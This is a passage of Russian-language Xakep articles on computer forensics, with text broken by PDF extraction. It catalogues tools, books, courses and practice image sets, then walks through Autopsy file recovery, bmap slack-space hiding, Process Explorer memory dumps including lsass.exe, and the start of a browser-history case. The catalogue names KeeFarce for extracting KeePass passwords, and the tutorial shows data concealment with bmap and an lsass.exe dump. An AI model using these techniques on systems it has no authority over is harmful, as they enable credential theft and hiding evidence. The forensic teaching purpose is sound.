в удоб ный фор мат с сох ранени ем всей инфы и метадан ных.

• Xmount

Сбор дан ных с хар дов
  —  ути лита  для  соз дания  дам па  опе ратив ной  памяти  машины.

Прос та и удоб на.
• DumpIt

  —  соф тинка  для  соз дания  базы  доказа тель ных
фай лов.

• Encase  Forensic  Imager

 — еще одна тул за для крип тоана лити ков, помога ет
искать зашиф рован ные тома TrueCrypt, PGP и Bitlocker.

• Encrypted Disk Detector

 —  спе циаль ный  бра узер,  пред назна чен‐ 
ный для зах вата веб‐стра ниц и пос леду юще го рас сле дова ния.

• Forensics  Acquisition  of Websites

 —  год ная  ути лит ка  для  извле чения  дам па  RAM,  в  том
чис ле  при ложе ний,  защищен ных    или  анти дам пинго вой
сис темой.

• Live  RAM Capturer
ан тиот ладоч ной

 —  как  и  прош лая  тул за,  пред назна чена  для  сня тия
RAM  всех  вер сий  Windows  —  от  ста руш ки  XP  до  Windows  10  (вклю чая
и релизы Windows Server).

• Magnet  RAM Capture

WARNING

Уде ляй  прис таль ное  вни мание  кор рек тно му  соз‐ 
данию  обра за  сис темы  для  даль нейше го  изу‐ 
чения. Это поз волит быть уве рен ным в дос товер‐ 
ности  получен ных  резуль татов.  Перед  любыми
дей стви ями,  задева ющи ми  работос пособ ность
сис темы  или  сох ранность  дан ных,  обя затель но
делай снап шоты и резер вные копии фай лов.

Ана лиз фай лов
  помога ет  в  получе нии  информа ции  о  сетевых  про цес сах

и спис ков дво ичных фай лов, свя зан ных с каж дым про цес сом. Помимо это‐ 
го,  лин кует ся  к  VirusTotal  и  дру гим  онлай новым  сер висам  ана лиза  вре‐ 
донос ных прог рамм и служ бам репута ции.

• Crowd  Inspect

 пре обра зует раз ные типы дан ных в зна чения даты и вре мени.• dCode
  —  прог рамма  для  поис ка  в  дво ичных  дан ных,  есть  под дер жка

регуляр ных выраже ний.
• Bstrings

 рекур сивно ана лизи рует заголов ки каж дого фай ла eCryptfs
в выб ранном катало ге или дис ке и выводит спи сок шиф рован ных фай лов.

• eCryptfs Parser

  —  ути лит ка  для  ана лиза  защищен ных  паролем
и зашиф рован ных дру гими алго рит мами фай лов, которая заод но ана лизи‐ 
рует слож ность шиф рования и пред лага ет вари анты дешиф ровки.

• Encryption  Analyzer

 — прог рамма для онлай нового ана лиза типа фай лов по собс‐ 
твен ной базе сиг натур, которых уже боль ше двух тысяч.

• File Identifier

  —  тул за  для  ана лиза  обра зов  опе ратив ной  памяти,  вклю чая
ана лиз фай лов под качки и извле чения отту да дан ных.

• Memoryze

 — ути лита для прос мотра и даль нейше го извле чения фай‐ 
лов из теневых копий в сис теме Windows.

• ShadowExplorer

 — малень кий и быс трый HEX‐редак тор.• HxD
 — HEX‐редак тор с под дер жкой шаб лонов, при этом быстр и в

нем нет ничего лиш него.
• Synalyze It!

  —  кросс‐плат формен ный  HEX‐редак тор  с  воз можностью
срав нивать фай лы и кучей дру гих фич.

• wxHex  Editor

ИЗВЛЕЧЕНИЕ ДАННЫХ ИЗ ФАЙЛОВ

 — ути лит ка для вылав ливания email, IP‐адре сов и телефо нов
из фай лов.

• Bulk_extractor

 — ути лита для извле чения дан ных и фай лов изоб ражений.• PhotoRec

Об работ ка дан ных в опе ратив ной памяти (RAM)
 — кру той и наворо‐ 

чен ный фрей мворк, который при этом быс тро работа ет.
• Forensics, Memory  Integrity & Assurance Tool by  invtero

 — опен сор сный набор ути лит для раз носто рон него ана лиза обра‐ 
зов физичес кой памяти.

• volatility

 — скрипт для ана лиза дам пов RAM, написан ный на Python.• Rekall
 — про га для извле чения паролей KeePass из памяти.• KeeFarce

АНАЛИЗ СЕТЕВОГО СТЕКА И БРАУЗЕРОВ

 — про га для сбо ра, хра нения и ана лиза дан ных сетево го потока. Иде‐ 
аль но под ходит для ана лиза тра фика на магис тра ли или гра нице круп ного
рас пре делен ного пред при ятия или про вай дера сред него раз мера.

• SiLK

 — все мир но извес тный сетевой ана лиза тор пакетов (сниф фер).
Име ет  гра фичес кий  поль зователь ский  интерфейс  и широкий  набор  воз‐ 
можнос тей сор тиров ки и филь тра ции информа ции.

• Wireshark

 — инс тру мент сетево го ана лиза для обна руже ния ОС, име ни
хос та  и  откры тых  пор тов  сетевых  узлов  с  помощью  перех вата  пакетов
в фор мате  .

• NetworkMiner

PCAP
 — кро шеч ная прог рамма для извле чения информа ции

из бра узе ра Google Chrome.
• chrome‐url‐dumper

 — еще одна ути лит ка для ана лиза исто рии Chrome.• hindsight

АНАЛИЗ EMAIL-СООБЩЕНИЙ

  —  мощ ная  ути лита  для  прос мотра  фай лов  Outlook  (EDB)
без под клю чения сер вера Exchange.

• EDB  Viewer

 — ути лита для прос мотра фай лов Outlook Express, Windows Mail
/ Windows Live Mail, базы дан ных сооб щений Mozilla Thunderbird и отдель‐ 
ных фай лов EML.

• Mail Viewer

  —  ути лита  для  прос мотра  фай лов  OST  Outlook,  опять  же
без при вяз ки к сер веру Exchange.

• OST  Viewer

 — вари ант пре дыду щей ути литы, слу жит для прос мотра фай лов
PST Outlook.

• PST Viewer

ПОИСК АРТЕФАКТОВ НА HDD И ПЕРИФЕРИИ

 — мощ ный фун кци ональ ный сбор щик информа ции о сис‐ 
теме Windows (реестр, фай ловая сис тема, сер висы, про цес сы, нас трой ка
окру жения, авто заг рузка и так далее).

• FastIR Collector

  —  кросс‐плат формен ный  быс трый  ана лиза тор  реес тра  для  ОС
Windows.

• FRED

 — пар сер жур налов USN для томов NTFS.• NTFS USN Journal parser
 — ути лита для вос ста нов ления дан ных NTFS.• RecuperaBit

Спе циали зиро ван ные паки и фрей мвор ки
  —  плат форма  с  откры тым  исходным  кодом

для извле чения и иссле дова ния дан ных. Есть вари анты для CLI и GUI.
• Digital  Forensics  Framework

 — еще одна биб лиоте ка с откры тыми исходни ками
и кол лекция инс тру мен тов коман дной стро ки для ана лиза обра зов дис ков.

• The Sleuth Kit и Autopsy

 —  уни вер саль ный  кри мина лис тичес кий  инс тру‐ 
мент для иссле дова ния дан ных мобиль ных устрой ств. Пак вхо дящих в него
ути лит  поз воля ет  выпол нять  пол ное  извле чение  дан ных,  про водить
исчерпы вающий  ана лиз  дан ных,  хра нящих ся  на  телефо нах  и  в  облачных
хра нили щах. В наличии есть Forensic Cloud Extractor — встро енная слу жеб‐ 
ная прог рамма, собира ющая дан ные из облачных служб хра нения дан ных;
средс тво  Forensic  Maps  —  прог рамма,  работа ющая  с  дан ными  геоин‐ 
форма цион ных  сис тем  (GPS);  Forensic  Call  Data  Expert  —  прог рамма
для  импорта  записей  дан ных  о  вызовах  (так  называ емые  CDR‐фай лы)
любого  пос тавщи ка  услуг  бес про вод ной  свя зи  и  визу аль ного  ана лиза
соеди нений або нен тов.

• Oxygen  Forensic Detective

Ко неч но, это далеко не все инс тру мен ты, которые могут при годить ся, а толь‐ 
ко извес тные и час то встре чающиеся прог раммы. Более пол ный спи сок тулз
мож но  пос мотреть  в  .  На  рус ском  язы ке  есть  очень  неп лохой
обзор    на  «Хаб ре»,  а  так же  на  стра ницах 

 и еще  .

Wiki  Forensic
23 бес плат ных  инс тру мен тов это го

бло га вот здесь

СОБИРАЕМ СВОЮ ЛАБОРАТОРИЮ

Для ресер ча и сбо ра арте фак тов нам будет нуж на спе циаль ная лабора тория.
Пос коль ку  мы  будем  акценти ровать ся  толь ко  на  соф товой  сос тавля ющей
экспер тизы,  то  есть  без  ковыря ния железок,  нам  в  качес тве  осно вы  впол не
хва тит пула из нес коль ких вир туаль ных машин и спе циали зиро ван ных дис три‐ 
бути вов  с  необ ходимы ми  тул зами.  Гипер визор  я  тебе  пред лагаю  выб рать
на свой вкус, это может быть и бес плат ный  , и  .VirtualBox VMware

Под робнее  о  том,  какие  быва ют  дис три бути вы,  читай  в  статье  «
». Ясное дело, мож но соб рать и свой, но зачем, если есть спе‐ 

циали зиро ван ные?  Лич но  я  пред почитаю    или,  как  вари ант,  ,
но CAINE и Parrot OS тоже дос той ны вни мания, не говоря уже о плат ных En‐
case и SMART Linux.

Тул кит
для форен зики

DEFT Remnux

Де монс тра ция рабоче го сто ла и меню ути лит дис три бути ва DEFT

МАТЕРИАЛЫ ДЛЯ ИЗУЧЕНИЯ

Кни ги
Так  выш ло,  что  рус ско языч ной  литера туры  по  нашей  теме  прак тичес ки  нет.
Да  оно  и  неуди витель но,  форен зика  как  прик ладная  деятель ность  ста ла
популяр на отно ситель но недав но.

, 
 с матери ала ми кни ги и  , дос тупная для заг рузки. Это единс‐ 

твен ный на рус ском язы ке и наибо лее пол ный труд, сис темно рас ска зыва‐ 
ющий  о  форен зике.  Из  минусов  —  мно гие  вещи,  опи сан ные  в  кни ге,
на сегод ня уста рели. Одна ко это все‐таки must read как для начина ющих,
так и для тех, кто уже занима ется кри мина лис тикой в сфе ре высоких тех‐ 
нологий.

• Н.  Н. Федотов. Форен зика —  компь ютер ная  кри мина лис тика офи циаль‐ 
ный сайт PDF

 — этот труд пос вящен осо бен ностям экспер‐ 
тизы  сис тем  на  сетевом  уров не.  Хорошее  пособие,  с  основ  и  по шагам
рас ска зыва ющее о сетевом сте ке и методах его ана лиза.

• Network Forensics 1st Edition

 — труд, ана логич ный пре дыду щему,
но  пос вящен ный  исклю читель но  ана лизу  фай лов  и  фай ловой  сис темы
взло ман ных машин.

• File System Forensic Analysis 1st Edition

  —  хороший  вари ант  для  нович ков,  жела ющих
занять ся мобиль ной форен зикой.

• Practical  Mobile  Forensics

  —  еще  одна  кни га,  которую  мож но  пореко мен довать  нович кам
для уве рен ного стар та.

• The Basics of Digital Forensics:The Primer  for Getting Started  in Digital Foren‐
sics

  —  само  наз вание  кни ги  говорит  о  прод винутых  тех никах  экспер тизы
и осо бен ностей при мене ния имен но в Windows 8.

• Windows Forensic Analysis Toolkit: Advanced Analysis Techniques for Windows
8

 — неп лохое пособие по форен зике
ОС, фай ловой сис темы, реес тра, сети и съем ных носите лей.

• Practical Windows Forensics Paperback

 — мож но  ска зать,  это  гайд по  встро енным
ути литам из раз дела форен зики дис три бути ва Kali Linux.

• Digital  Forensics with Kali  Linux

 — кни га кон‐ 
цен три рует ся  на  осо бен ностях  пар синга  сис темно го  реес тра  Windows,
извле чении дан ных и осо бен ностях, появив шихся с Windows 8.

• Windows Registry Forensics: Advanced Digital Forensic Analysis

 — офи циаль ный ману ал по кур су
обу чения  CHFI  с  укло ном  на  иссле дова ние  арте фак тов  Wi‐Fi‐сетей
и носите лей дан ных.

• Computer  Forensics:  Investigating  File  and Operating  Systems, Wireless  Net‐
works, and Storage  (CHFI) by EC‐Council

 —  хоть  эта  кни га  и  не
име ет  пря мого отно шения  к  «клас сичес кой» форен зике,  но  все же  сто ит
ее почитать, осо бен но если ты рас сле дуешь инци ден ты с укло ном в сто‐ 
рону мал вари.

• Malware  Forensics  Field Guide  for Windows Systems

 —  офи циаль ное  изда ние  по  кур су  обу чения  CHFI.  Рас‐ 
смот рены все основные темы и воп росы с экза мена.

• CHFI  Computer  Hacking  Forensic  Investigator  Certification  All‐in‐One  Exam
Guide  1st  Edition

 — кни га,
целиком  пос вящен ная  пра виль ному  под ходу  к  соз данию  кор рек тно го
обра за взло ман ной сис темы для ее даль нейше го ресер ча в лабора тор ных
усло виях.  Счи таю,  что  это  must  read  для  тех,  кто  начина ет  занимать ся
ремес лом кри мина лис тичес кой хай‐тек‐экспер тизы.

• Practical Forensic Imaging: Securing Digital Evidence with Linux Tools

Ма тери алы и кур сы
 —  курс  обу чения  осно вам форен зики

от авто ритет ного инсти тута SANS.
• FOR500: Windows  Forensic  Analysis

 — еще один вари ант
кур са по прог рамме CHFI.

• Free Online Computer Forensics Training Class — CHFI

  —  матери алы  к  кур су  обу чения
по мобиль ной форен зике.

• Android  Forensics  &  Security  Testing

 — базовый  курс обу чения  на  пло щад ке
Udemy, заяв ленная сто имость — 50 дол ларов, одна ко по акции — 14 дол‐ 
ларов.

• Computer Forensics Fundamentals

 — еще один курс на пло щад‐ 
ке Udemy для прод винутых, сто имость 200 дол ларов, в дни рас про даж —
все го 14.

• Computer Hacking Forensic Investigator (CHFI)

  —  курс  про фес сиональ ной  под готов ки  с  даль‐ 
нейшей сер тифика цией по прог рамме CHFI.

• Certified Cyber Forensics Professional (CCFP) and Certified Hacking Forensics
Investigator  (CHFI)  exams

Для  тех,  кто  хочет  про верить  свои  зна ния  в  деле форен зики,  дос тупен бес‐ 
плат ный онлай новый тест  .Computer Forensics Fundamentals

ПОЛЕЗНЫЕ ССЫЛКИ

Мо биль ная форен зика
• Крип тостой кие андро иды. Как устро ено шиф рование
• Из вле каем и ана лизи руем дан ные из устрой ств на Android
• Android  —  отсле жива ние  смар тфо на  без  GPS,  взлом  упа ков щика  Qihoo
и модифи кация при ложе ний в ран тай ме

• Изу чаем  баги  LG,  Samsung  и  Motorola,  поз воля ющие  снять  дан ные
с зашиф рован ного смар тфо на

• Яб лочный forensic. Извле каем дан ные из iOS‐устрой ств при помощи open
source инс тру мен тов

• Как кри мина лис ты получа ют ваши дан ные с гад жетов

Ос таль ные нап равле ния
• От дел  рас сле дова ния  инци ден тов.  Наша  под борка  прог рамм  для  про‐ 
веде ния forensic‐рас сле дова ний

• Флеш‐память: проб лемы для компь ютер ной кри мина лис тики
• Тех ничес кое обес печение компь ютер ной кри мина лис тики — про дол жение
• Се тевая форен зика — рас сле дова ние инци ден тов в сети пред при ятия
• Об зор 20 опен сор сных ути лит для форен зик‐прак тики
• Еще один обзор 22 популяр ных инс тру мен тов форен зики (2018 год)

Пло щад ки для тре ниров ки
Пос ле изу чения мат части, я уве рен, ты готов ринуть ся в бой, что бы про верить
свои  навыки.  Но  вряд  ли  у  каж дого  будет  воз можность  сра зу  попасть
на  «живое»  рас сле дова ние.  Начинать  тре ниров ки  луч ше,  как  говори лось
в  клас сичес ком филь ме,  «на  кош ках». В  дан ном слу чае  в  роли фар форовых
кошек из «Опе рации Ы» выс тупа ют заранее под готов ленные обра зы с арте‐ 
фак тами, которые нуж но извлечь и про ана лизи ровать.

 — набор дам пов памяти от Windows до Linux с зашиты ми
в них арте фак тами. В качес тве неболь шого гай да — 

.

• Memory samples
статья из наших архи‐ 

вов
  —  набор  сво бод но  ска чива емых  заданий

на темы web sleuthing и deleted file recovery.
• p0wnlabs  Sample  Challenges

 — репози торий дам пов сетево го тра фика.• Wireshark Sample Captures

Крат кие  руководс тва  и  при меры  пар синга  дам пов  сетево го  тра фика  мож но
най ти  , вот   и на рус ском вот еще  .тут тут тут

 — репози торий обра зов
для тре ниров ки навыков кри мина лис тичес кой экспер тизы.

• Computer Forensic Reference Data Sets (CFReDS)

 — еще один архив сним ков ФС.• Digital Forensics Tool Testing Images
 — пор тал орга низа ции Digital Corpora, соз данный для энту‐ 

зиас тов кибер форен зики, с сем пла ми для тес тирова ния сво их навыков.
• Digital Corpora

 — ком мерчес кий набор инс тру мен тов и демопак для тес тирова‐ 
ния навыков.

• BlackLight

Дру гие полез ные ресур сы

.
• Ог ромный  архив  ссы лок,  матери алов,  опи саний  по  теме  форен зики
на GitHub

 — чит‐лис ты и шпар галки по форен зике, соз данные
в инсти туте SANS, и не толь ко!

• Cheat Sheets & Posters

  —  статья  о  том,  сколь ко  зараба тыва ют
экспер ты по форен зике за рубежом. Сог ласись, недур но!

• Forensic  Computer  Analyst  Salary

 — железо для аппа рат ной форен зики.
• Forensic  Workstations,  Forensic  Hardware,  Forensic  Duplicators_Bridges,
Forensic Software

ЗАКЛЮЧЕНИЕ

Вот наш доволь но сжа тый лик без по форен зике и подошел к финалу. Наде‐ 
юсь, что тебе было инте рес но, ты узнал что‐то новое о рас сле дова нии инци‐ 
ден тов, заин тересо вал ся этой темой и получил хороший импульс про качи вать
мат часть, свои скил лы и раз вивать ся даль ше!
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https://xakep.ru/2018/03/15/apt-evil-santa/
https://xakep.ru/2017/11/15/apt-ed-1/
https://xakep.ru/2017/11/02/apt-ed-0/
http://kmb.ufoctf.ru/forensic/main.html
https://xakep.ru/2016/06/14/ctf/
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В   мы поз накоми ли тебя с форен зикой —
наукой  о  рас сле дова нии  киберин циден тов.  В  этой  —
научим ся при менять кон крет ные ути литы и тех ники для обна‐ 
руже ния,  сбо ра  и  ана лиза  арте фак тов,  оставших ся  пос ле
взло ма жер твы. Сво ими руками мы про ведем поиск уда лен‐ 
ных  фай лов  и  их  вос ста нов ление,  ана лиз  нераз мечен ной
области  памяти  фай ла,  дамп  любых  про цес сов  в  Windows
для  обна руже ния  мал вари  или  экс пло ита,  а  так же  ана лиз
исто рии URL и извле чение cookie из бра узе ра.

пре дыду щей статье

НАШ ЛАБОРАТОРНЫЙ СТЕНД

На шим основным форен зик‐дис три бути вом, содер жащим пак со все ми необ‐ 
ходимы ми  ути лита ми,  будет  леген дарный  .  В  качес тве  ана лизи‐ 
руемой машины мы исполь зуем образ с уста нов ленной Windows XP. BackTrack
рекомен дует ся  запус кать  как  хос товую ОС,  а  для  XP  впол не мож но  доволь‐ 
ство вать ся бес плат ными   или  .

BackTrack

Oracle VirtualBox VMware Player

WARNING

Всег да ясно и чет ко осоз навай, что имен но, как и
зачем  ты  дела ешь.  Зву чит  баналь но,  но  неп‐ 
равиль ное  исполь зование  опи сан ных  в  тек сте
статьи  прог рамм  может  при вес ти  к  потере
или иска жению получен ных дан ных (кри мина лис‐ 
тичес ких  доказа тель ств).  Ни  автор,  ни  редак ция
не  несет  ответс твен ности  за  любой  ущерб,  при‐ 
чинен ный  из‐за  неп равиль ного  исполь зования
матери алов дан ной статьи.

КЕЙС 1. ПОИСК И ВОССТАНОВЛЕНИЕ УДАЛЕННОГО ФАЙЛА JPEG
С ПОМОЩЬЮ AUTOPSY

Суть дан ного кей са в том, что бы най ти арте фак ты уда лен ного фай ла (JPEG‐
кар тинка)  на  жес тком  дис ке  целевой  машины  и  вос ста новить  его  в  дру гую
дирек торию для даль нейше го изу чения.

Ос новным инс тру мен том для нас в этой задач ке будет   — это циф‐ 
ровая плат форма для про веде ния форен зик‐про цедур и одновре мен но гра‐ 
фичес кий  интерфейс  для  CLI‐вер сии  извес тно го  кита  .  В  час‐ 
тнос ти, прог рамма поз воля ет ана лизи ровать дис ковые устрой ства, находить
и вос ста нав ливать фай лы, извле кать EXIF из кар тинок, находить и прос матри‐ 
вать отдель ные виде офрагмен ты. Более под робная информа ция об инс тру‐ 
мен те дос тупна  , а так же еще   и в одной из наших  .

Autopsy

The  Sleuth  Kit

здесь здесь прош лых ста тей
Итак, нач нем.
Пер вым делом запус каем BackTrack с GUI‐интерфей сом. Откры ваем бра‐ 

узер  и  по  ука зан ной  ссыл ке  ска чива ем  архив  ,  допол‐ 
нитель ную информа цию по фай лу мож но почитать  . Пос ле жмем Ctrl + T и в
появив шемся окне тер минала выпол няем сле дующие коман ды.

JPEG  Search  Test  #1
тут

Соз даем дирек тории:

# mkdir ‐p /var/forensics/images
# ls ‐ld /var/forensics/images

Рас паку ем наш архив:

# cd /var/forensics/images
# ls ‐lrta
# unzip 8‐jpeg‐search.zip
# cd 8‐jpeg‐search
# ls ‐lrta

Рас паков ка ска чан ного архи ва JPEG Search Test #1

И про дол жаем набирать коман ды в тер минале:

# cd /var/forensics/images/8‐jpeg‐search
# ls ‐l
# md5sum 8‐jpeg‐search.dd

Те перь нуж но пос читать   фай ла в md5sum.хеш‐сум му

Хеш‐сум ма MD5 рас пакован ного фай ла

Пос ле это го запус каем в GUI‐обо лоч ке нашу  тул зу: Applications → BackTrack
→ Forensics → Forensic Suites → setup Autopsy. Пос ле появ ления окна на воп‐ 
рос Have you purchased or downloaded a copy of the NSRL (y/n) жмем  . Затем
перехо дим  в    и  запус каем  скрипт  .
Скрипт стар тует локаль ный web‐сер вер с интерфей сом для работы с Autopsy.

n
/pentest/forensics/autopsy ./autopsy

За пуск скрип та ./autopsy из тер минала

Как  написа но  в  тек сте,  мы  откры ваем  в  бра узе ре  адрес
http://localhost:9999/autopsy. Пос ле это го перед нами во всей кра се пред ста‐ 
ет HTML‐обо лоч ка  нашего инс тру мен та. Все,  что  нам нуж но, — это  соз дать
«новый  кейс»,  ввес ти  имя  хос та,  наз вание  кей са,  дру гую  допол нитель ную
информа цию и сох ранить получив ший ся шаб лон.

Соз даем кейс JPEG‐8‐Inquiry

Пе рехо дим в тер минал и выпол няем коман ды

# cd /var/forensics/images/8‐jpeg‐search
# ls ‐l
# ls $PWD/8‐jpeg‐search.dd

Ко пиру ем строч ку

/var/forensics/images/8‐jpeg‐search/8‐jpeg‐search.dd

Ко пиру ем ука зан ную строч ку в окне тер минала

Да лее воз вра щаем ся в бра узер и жмем «Добавить локацию/кар тинку».

Ско пиро ван ную ссыл ку встав ляем в ука зан ную фор му

Пос ле это го тра дици онно сме ло нажима ем кноп ку Next и на новой стра нице
мас тера щел каем вари ант Partition.

В окне мас тера выбира ем опцию Partition

На сле дующем шаге нам нуж но сде лать три дей ствия, а имен но щел кнуть Ig‐
nore the hash value for this image, ука зать в качес тве литеры дис ка С и тип фай‐ 
ловой сис темы NTFS.

За пол няем поля ука зан ными дан ными

В кон це пошаго вого мас тера нажима ем единс твен ную кноп ку Calculate.

Зак рытие мас тера по кноп ке Calculate

Наш сле дующий шаг свя зан с ана лизом фай ла, опре деле нием его струк туры
и содер жания. Про цесс запус кает ся по кноп ке Analysis.

За пуск ана лиза фай ла кноп кой Analysis

Пос ле  нес коль ких  секунд  ожи дания  перед  нами  появит ся  неболь шой  отчет
о про ана лизи рован ном фай ле — File information и Metadata information.

Свод ка по File information и Metadata information

В  качес тве  резуль тата  мы  уви дим  окно  со  спис ком  уда лен ных  фай лов
и кое‐какой допол нитель ной информа цией.

Ито говое окно: уда лен ные фай лы обна руже ны

Поз драв ляю, пер вый кейс решен!

Продолжение статьи →
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КЕЙС 2. ПОИСК СКРЫТЫХ ДАННЫХ В НЕЗАПОЛНЕННОЙ ОБЛАСТИ
ФАЙЛА С BMAP

Ра зуме ется, все наши читате ли слы шали о   — спо собе скрыть
переда чу дан ных, добавив их в легитим ный файл либо записав эту информа‐ 
цию в память, занима емую легитим ным фай лом (с тек стом, музыкой или кар‐ 
тинкой), без наруше ния работос пособ ности пос ледне го.

сте ганог рафии

INFO

Сте ганог рафия  —  очень  надеж ный  спо соб
переда чи  сек ретной  информа ции.  А  если
исходную  информа цию  еще  и  зашиф ровать,  то
вос ста новить ее будет очень зат рудни тель но.

Для  выпол нения  вто рого  кей са  нам  понадо бит ся  ути лита  , 
можешь почитать по ней допол нитель ную информа цию. В моем дис три бути ве
пре дус танов ленной вер сии bmap не ока залось, поэто му при дет ся пос тавить
ее руч ками. Как и в прош лый раз, пер вым делом откры ваем тер минал в Back‐
Track и пишем сле дующие коман ды:

bmap‐tools здесь

# cd /opt
# mkdir bmap
# cd bmap

Пос ле  соз дания  дирек тории  откры ваем  любой  бра узер  и  по  при веден ной
ссыл ке  .ска чива ем архив с тул зой

Сох раня ем bmap‐1.0.17.tar.gz на свою машину

Сно ва в тер минал, где пишем сле дующее:

# cd /opt/bmap
# ls ‐l
# gunzip bmap‐1.0.17.tar.gz
# tar ‐xovf bmap‐1.0.17.tar

Ре зуль таты рас паков ки ска чан ного архи ва

Те перь  наша  тул за  готова  ском пилиро вать ся  в  бинар ный  файл,  для  чего
выпол няем коман ды

# cd /opt/bmap/bmap‐1.0.17
# make

За пуск ути литы:

# ln ‐s /opt/bmap/bmap‐1.0.17/bmap /sbin/bmap
# which bmap
# bmap ‐help

За пуск bmap в тер минале

Пе рехо дим  к  соз данию  тек сто вого  фай ла,  в  который  будем  пря тать  наше
«сек ретное сооб щение»:

# cd /var/tmp
# echo "This is a test file" > test.txt
# cat test.txt

Соз дание исходно го test.txt

Соз даем  «нераз мечен ную  область»  внут ри  нашего  исходно го  фай ла 
:

test.
txt

# bmap ‐‐mode slack test.txt
# ls ‐l test.txt

Соз даем «нераз мечен ную область внут ри test.txt

До бав ляем наше «сек ретное сооб щение»:

# echo "Top Secret Data Goes Here" | bmap ‐‐mode putslack test.txt
# ls ‐l test
# cat test.txt
# strings test.txt

До бав ляем наше «сек ретное сооб щение» в test.txt

Об рати  вни мание:  изме нил ся  толь ко  раз мер  прос транс тва,  занима емо го
дан ным фай лом на дис ке, — внут ри же самого фай ла ничего не изме нилось.

Де лаем бэк на тер минал и про водим экспе римент:

# rm test.txt
# ls ‐l test.txt
# echo "This is a test file" > test.txt
# bmap ‐‐mode slack test.txt
# echo "Your Name"

Что в ито ге? Наш файл был уда лен, но сек ретное сооб щение оста лось, пос‐ 
коль ку  при  сти рании  были  зачище ны  толь ко  сек тора  дис ка,  занима емые
номиналь ным фай лом. Пос ле того как мы выз вали коман ду

# bmap ‐‐mode slack test.txt  

в  тер минале  появи лась  стро ка  нашего  сооб щения,  скры того  в  нераз мечен‐ 
ной области.

Сек ретное сооб щение выжило пос ле уда ления фай ла

КЕЙС 3. СОЗДАЕМ ДАМП ПАМЯТИ ВСЕХ ПРОЦЕССОВ WINDOWS,
АНАЛИЗИРУЕМ ВЗАИМОСВЯЗЬ «РОДИТЕЛЬСКИЙ — ДОЧЕРНИЙ»

Для это го неболь шого кей са нам понадо бит ся толь ко одна машина с заранее
инстал лирован ной Windows XP. Ска чива ем native‐ути литу от Microsoft под наз‐ 
вани ем  .  Пос ле  рас паков ки  архи ва  в  любую  дирек торию
запус каем бинар ный файл от име ни адми нис тра тора (для получе ния пол ного
спис ка сис темных и скры тых про цес сов) и идем в меню View → Show Process‐
es From All Users.

Process  Explorer

Ок но Process Explorer пос ле запус ка в Windows XP

Чуть‐чуть о том, что демонс три рует нам прог рамма.
В колон ке Process отоб ража ется дерево активных про цес сов и их потом‐ 

ков.  Потомок  (child)  —  про цесс,  соз данный  дру гим,  родитель ским  (parent)
про цес сом. Любой про цесс может быть и потом ком, если он соз дан в  ходе
выпол нения дру гого про цес са, и родите лем, если в ходе его выпол нения соз‐ 
дан дру гой про цесс. Отоб ражение эле мен тов дерева про цес сов выпол няет‐ 
ся в соот ветс твии с поряд ком их запус ка при заг рузке опе раци онной сис темы
и регис тра ции поль зовате ля.

Ко рень дерева про цес сов — уро вень System Idle Process, сос тояние прос‐ 
тоя  сис темы.  Сле дующим  эле мен том  дерева  пред став лен  уро вень  System.
На самом деле System — это не отдель но сущес тву ющий реаль ный про цесс,
а  уро вень  дерева,  пред назна чен ный  для  отоб ражения  активнос ти  сис темы,
свя зан ной  с  обра бот кой  пре рыва ний,  работой  сис темных  драй веров,  дис‐ 
петче ра сеан сов Windows (Session Manager) smss.exe и csrss.exe (Client‐Serv‐
er Runtime).

Ос таль ная  часть  дерева  отоб ража ет  иерар хию  реаль но  выпол няющих ся
в Windows про цес сов. Так, при ложе ние служб и кон трол леров SERVICES.EXE
обес печива ет  соз дание,  уда ление,  запуск  и  оста нов ку  служб  (сер висов)
в опе раци онной сис теме, что и отоб ража ется в спис ке порож даемых им про‐ 
цес сов.

  —  иден тифика тор  про цес са  PID  —  уни каль ное  десятич ное  чис ло,
прис ваиваемое каж дому про цес су при его соз дании.

• PID

 — сте пень исполь зования цен траль ного про цес сора.• CPU

 — объ ем опе ратив ной памяти,  выделен ной дан ному про‐ 
цес су и не раз деля емой с дру гими про цес сами.

• Private Bytes

 —  рабочий  набор  про цес са,  пред став ляющий  собой  сум‐ 
марный  объ ем  всех  стра ниц  исполь зуемой  им  памяти  в  дан ный  момент
вре мени. Раз мер это го набора может изме нять ся  в  зависи мос ти от  зап‐ 
росов  про цес са.  Боль шая  часть  про цес сов  исполь зуют  раз деля емую
память (Shared Memory).

• Working Set

 — крат кое опи сание про цес са.• Description

 — наз вание ком пании‐раз работ чика.• Company Name

 — путь и имя исполня емо го фай ла.• Path

 —  приз нак  дос товер ности  циф ровой  под писи  исполня‐ 
емо го  фай ла.  Наличие  стро ки  Not  verified  говорит  о  том,  что  циф ровая
под пись отсутс тву ет или ее не уда лось про верить.

• Verified Signer

Боль ше под робнос тей мож но узнать из  .до кумен тации

Прос мотр связ ки «родитель ский — дочер ний про цесс»

Так же  с  помощью Process  Explorer  мож но  соз дать  дам пы  памяти  отдель ных
про цес сов или всей сис темы для даль нейше го изу чения. Эта прак тика час то
при меня ется  при  обна руже нии  сле дов  инфи циро вания  сис темы  мал варью
или экс пло ита. Сде лан ный дамп мож но прос мотреть через ути литу 

.
Debugging

Tools for Windows
В  наш  сегод няшний  матери ал  воп росы  деталь ного  ана лиза  дам пов

не  вхо дят,  но  в  качес тве  неп лохого  под спорья  ты  можешь  исполь зовать
статьи по WinDbg  ,   и  .тут тут здесь

Соз дание дам па для сис темно го про цес са lsass.exe

Дамп  памяти  про цес са  сох раня ет  неболь шой  объ ем  информа ции  о  самом
про цес се и заг ружен ных ком понен тах, которые были на момент появ ления.

Соз дание «пол ного» или «усе чен ного» дам па всех про цес сов

Пол ный  дамп  всех  про цес сов —  это  образ,  вклю чающий  содер жимое  всей
опе ратив ной  памяти  компь юте ра,  как  поль зователь ские,  так  и  сис темные
про цес сы.  Одна ко  пом ни:  преж де  чем  дам пить,  ты  дол жен  убе дить ся,  что
у тебя хва тит мес та для сох ранения на жес тком дис ке. Осо бен но это каса ется
сер верных редак ций ОС.

КЕЙС 4. ВОССТАНАВЛИВАЕМ ИСТОРИЮ ПОСЕЩЕНИЯ URL-
АДРЕСОВ В БРАУЗЕРЕ И ПАРСИМ COOKIE

В  зак лючитель ном  кей се  мы  палим,  какие  URL  посещал  поль зователь
перед  тем,  как  машина  дос талась  нам  в  руки  для  изу чения,  и  про буем
вытащить  допол нитель ную  инфу  из  сох ранен ных  cookie‐фай лов.  Рас смат‐ 
ривать кейс будем на самом баналь ном при мере исполь зования встро енно го
бра узе ра  Internet  Explorer.  Для  это го  нам  понадо бят ся  две  ути литы:  IEHisto‐
ryView —  вьювер URL‐исто рии  и  IECookiesView —  из  наз вания  понят но,  что
